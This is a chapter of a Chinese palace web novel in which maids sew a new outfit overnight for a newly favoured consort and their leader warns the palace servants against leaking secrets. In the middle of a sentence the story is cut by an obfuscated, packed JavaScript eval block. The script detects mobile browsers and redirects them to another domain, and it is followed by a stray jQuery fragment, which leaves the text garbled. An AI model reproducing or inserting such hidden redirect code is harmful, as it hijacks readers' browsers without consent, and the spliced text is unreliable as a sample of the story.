望着凌清禾穿着白日里刚刚做好的那套新衣服上了轿子,永宁宫的主子走了,反而倒是沸腾了起来。
“秋霜姐姐,咱们娘娘真是有福气,这才入宫没几天呢,就被皇上翻了牌子。”
白天的时候香菱正忙着做新衣服,等到晚上饭点回来才听说皇上来了这回事,眼里的激动不比当时的采荷少。
青兰年纪稍微大一点,人也沉稳许多:“娘娘去了陛下那,晚间还要回来,咱们也不能给娘娘拖后腿才是。”
“没错,”谢秋霜点点头,叫小金子派人去乾清宫注意凌清禾那边回来的时辰,又转身朝香菱道,“香菱,你那件衣服还有多久才能做好?”
香菱一愣:“大约还得有个一两日的。”
“那只怕是赶不上。”青兰微微蹙起眉头,“秋霜姐,我准备的那套晚上穿过去,名头估计是用不了了,要不晚上我帮香菱,抓紧些天亮应当能完成的。”
香菱这才反应过来,脸上的喜悦一扫而空,纠结道:“可是我找内廷府要了一块紫萝纱,说是得明日才能送来。”
“可时间不等人,要不紫萝纱留着下件衣服用?”青兰也没了办法,只得求助地看向谢秋霜。
谢秋霜也在想,一件还剩两三日工期的衣服,就算一晚上能赶完,肯定质量也不会有原先那么好,穿过一次就不好再穿,又浪费又废眼。
她想到衣柜里似乎还有几件挂着的秋天衣物,便道:“我倒是有个其他法子,娘娘柜里还有几件衣服,只是稍微素了些,你们两个挑出一件合适的出来,缝一些花样上去便是了。”
青兰和香菱眼睛一亮,时间不等人,当下就跟着谢秋霜进了屋子。
绣工一般的采荷也没闲着,她被派去准备热水和小食,保证凌清禾回永宁宫第一时间便能净身填饱肚子。
她们最终选定了一件青绿色的齐胸襦裙,这种裙子要比齐腰襦裙更为宽松,明日也好让凌清禾穿得舒适些。
而且颜色也与赏花宴比较搭,不会落了下乘。
说干就干,青兰和香菱取了自己的针线盒,打算回到二人的屋子里去缝。
她们的屋子谢秋霜去过,和自己之前在西苑住的屋子差不多,六人间的通铺,现在暂时只住了她们二人,只有一张桌子,油灯和蜡烛零星几个摆着。
若是做针线这种细致的活,明日还不知道眼睛得多难受。
“到甘露阁来吧,”谢秋霜催了她们到一个更亮堂的地方去,“绣娘的眼睛金贵,可莫要因为赶得及伤了眼。”
甘露阁在永宁宫东配殿的右侧,里头油灯蜡烛数目多,据说是给养在嫔妃膝下的未成年的皇子公主们读书的地方。
谢秋霜让小金子去问过,在永宁宫里没搬来其他人时,这些亭台楼阁都是可以随意使用的,故而这满阁的亮堂,倒是便宜了她们。
“小金子,你和采荷守着院门口,记住,还要让永宁宫上上下下其他的人嘴巴都闭严实一点。”她吩咐完其他事情,便和青兰、香菱一同到了甘露阁。
她从桌上拿起一根针,香菱连忙道:“秋霜姐姐,使不得,您是要伺候娘娘的,缝衣服这件事让我们两个来做就成。”
“都是服侍娘娘,又有什么?”谢秋霜哑然失笑,“女红我也是会上一点的,帮你们打打下手就行,咱们别管那些有的没的,赶紧把衣服做出来才行。”
手上干着活,嘴里也忍不住会说些什么,用以驱散深夜的困意。
“青兰、香菱,你们都来永宁宫多久了?”谢秋霜有一搭没一搭地问道。
香菱年纪最小,性格也活泼不少,抢着说道:“我才来一年,青兰已经来了三年了!”
谢秋霜有些惊讶:“青兰在永宁宫呆了三年,没去找些其他的活儿吗?”
“宫里忙的时候会去帮忙的,”青兰咬断手里的线,淡淡道,“上次中秋宴我也去了御膳房帮忙,不过一直待在主殿,倒是听到过秋霜你的名字。”
“都传到主殿去了。”谢秋霜有些赧然,收了长针开始埋线,“那这永宁宫三年来都是这般模样么?”
“自然不是,”香菱手巧,一段生机勃勃的竹节赫然出现在袖口,“就说我在的这一年,永宁宫里没有主子,但想进来的人不少,就单路过说累了想趁机进永宁宫休息的都不止一个。”
青兰点点头:“除却这些妃子,永宁宫里其实也并非都算相安无事的。”
“怎么说?”谢秋霜也想打听一些宫人的情况,好明确哪些人能用,哪些人需要提防。
香菱瞪大了眼睛:“我怎么不知道。”
“那是因为你整天乐呵呵的,有人在你面前酸言酸语都听不出来。”青兰伸出手指点了点香菱的鼻头。
她转头继续说道:“就比如秋霜姐你选的小金子,他寻常总是吃不饱饭,所以才瘦成这个模样。”
“内廷府不给他饭吃?”香菱歪着脑袋。
“说你不动脑你还真就不动脑,”青兰啐了她一口,“内廷府怎么会缺了一个小太监的饭食。”
谢秋霜若有所思:“是小成子?”
“不止,”青兰表情淡下来,眉眼间有几分忧愁,“永宁宫守宫的太监有五位,小成子和小金子一个是东偏殿一个是东配殿,如今都是娘娘的地界。外头还有四位,都是和小成子要好的。”
她话不说满,但里头的意味就连迟钝的香菱都能听得出来。
小成子和其他四位太监排挤小金子,谢秋霜眼睛转了转,如今她将小金子提拔成了永宁宫地位最高的太监,这个局势对小金子是利是不利,都恐怕需要更进一步的观察。
只是青兰特意和她说这些的目的是什么?
许是这三个月在宫里待的时长带来的长进,她总觉得人家主动提到的事情都是话里有话。
谢秋霜不动声色地笑道:“如今小金子成了大太监,想必是能够自己处理好这些事的。”
出乎意料的,青兰只是点点头,没有再说起关于这件事的任何言论。
莫非真是她想得太多,谢秋霜在心里否定了这个答案。
小金子的性格确实是太柔了点,白日里明摆着就是小成子给他使了个绊子,不然不至于被圣上的人马拖住脚步,连找个人通传的时间都没有。
或许她需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236391|179715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一些其他的方法来提点他一二。
“做好啦!”香菱喜悦的笑声打断了她纷乱的思绪,回过神来,已然丑时三刻,手上的衣服不知何时已然缝制完毕了。
青兰将针和线重新收回针线盒里头,明显松了一口气。
谢秋霜将缝好的衣服拿起来比划一二,虽然不算惊艳,但总算是不会失了面子。
“去将衣服熨烫一二,再挂在殿内刚腾出来的衣桁上。”
香菱领了命,抱着衣服离去,而青兰则继续跟在谢秋霜身后,一同熄了蜡烛,回到东配殿。
“对了,娘娘住的这东配殿可有名字?”谢秋霜随口问道。
青兰微微摇头:“主殿配殿都是未曾命名的。”
谢秋霜颔首,踏过门槛,虽然夜色已深,但永宁宫东配殿上上下下灯火通明,连负责洒扫的小宫女都没合眼,俱在为了凌才人第一次侍奉陛下而做准备。
“既然都没休息,娘娘又一时半刻不会回来,青兰,你去叫所有人都来院内一趟。”
这宫里如此多人,谢秋霜上次只算是粗略见过,原先想的是如果有人这几天出了纰漏,便抓来杀鸡儆猴,震慑一二。
不过或许可能是初来乍到的缘故,没有人露出马脚,但是她可不相信这么多人里头没有别的宫派来的暗桩。
交给小金子去办她有些不太放心,眼下好时候,倒是可以一并办了。
“秋霜姐,除了香菱,大家都来了。”青兰和采荷站在人群最首位。
谢秋霜清了清嗓子:“自娘娘搬来永宁宫以来,各位各司其职,功不可没,娘娘都看在眼里,记在心上的。”
她觉得自己和教习时期的柳嬷嬷没什么两样,一边担心大家出了纰漏,一边又希望这些人瞬间成为一个个忠心可靠的宫人。
“如今你们也见到了,娘娘是整个新入宫里头第二个被翻牌子的,其中意味着什么,想必无需我多说。”
底下人悉悉索索,乱了一阵才重归于安静。
谢秋霜继续道:“娘娘得宠,永宁宫的日子就会越来越好过,自然就更少不了赏大家安分做事的。”
“但是——”她顿了顿,眼见众人眼里的紧张,唱起了黑脸,“我们不能拖娘娘的后腿,且娘娘也不希望永宁宫有二心背主之人,不论过去如何,从现在起都管好自己的嘴,若有发现往外透露永宁宫消息的,以叛主罪论处!”
“是。”不论心里在盘算什么,底下这些宫女面上都郑重的应了下来。
谢秋霜瞧了一眼站在最前的青兰,心生一计:“既如此,青兰便暂时负责此事吧。”
青兰神色明显僵了僵,不过很快回过神来,满怀心事的应下。
训话完毕,宫女们重新回到了各自的位置之上,香菱也将熨好的衣服层层挂好,采荷所在的浴池里的水温一直保持着合适的温度,永宁宫上下重新安定下来,只等凌清禾回来。
这一等便等到了寅时初,香菱连连打了五个哈欠,眼皮都要合上了,小金子才脚步生风地跑进来:“娘娘已经从乾清宫起轿了!”
才安静下来的永宁宫,瞬间又运转起来。